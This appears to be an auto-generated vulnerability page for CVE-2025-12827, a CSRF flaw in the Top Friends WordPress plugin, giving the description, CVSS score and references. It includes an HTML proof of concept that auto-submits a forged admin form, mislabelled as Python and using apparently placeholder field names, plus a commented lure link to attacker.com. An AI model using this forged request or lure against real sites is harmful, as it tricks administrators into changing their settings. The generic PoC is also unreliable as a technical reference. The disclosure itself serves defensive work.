CVE-2025-12827

Description

The Top Friends plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 0.3. This is due to missing nonce validation on the top_friends_options_subpanel() function. This makes it possible for unauthenticated attackers to modify plugin settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Top Friends plugin for WordPress <= 0.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2025-12827 -->
<!-- Exploits missing nonce validation in top_friends_options_subpanel() -->
<html>
  <body>
    <form action="http://target-site.com/wp-admin/admin.php?page=top-friends-options" method="POST" id="csrfForm">
      <input type="hidden" name="top_friends_option1" value="malicious_value" />
      <input type="hidden" name="top_friends_option2" value="modified_settings" />
      <input type="hidden" name="submit" value="Update" />
    </form>
    <script>
      document.getElementById('csrfForm').submit();
    </script>
  </body>
</html>

<!-- Social Engineering Component -->
<!-- Attacker would send this link disguised as legitimate content -->
<!-- <a href="http://attacker.com/csrf_poc.html">Click for free gift!</a> -->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-12827
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-12827
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-12827/
[4] VulDB https://vuldb.com/cve/CVE-2025-12827
[5] https://plugins.trac.wordpress.org/browser/top-friends/tags/0.3/top-friends.php#L155
[6] https://www.wordfence.com/threat-intel/vulnerabilities/id/8165196d-0117-473f-8ccf-57ffd3e08e16?source=cve

Raw JSON Data

JSON

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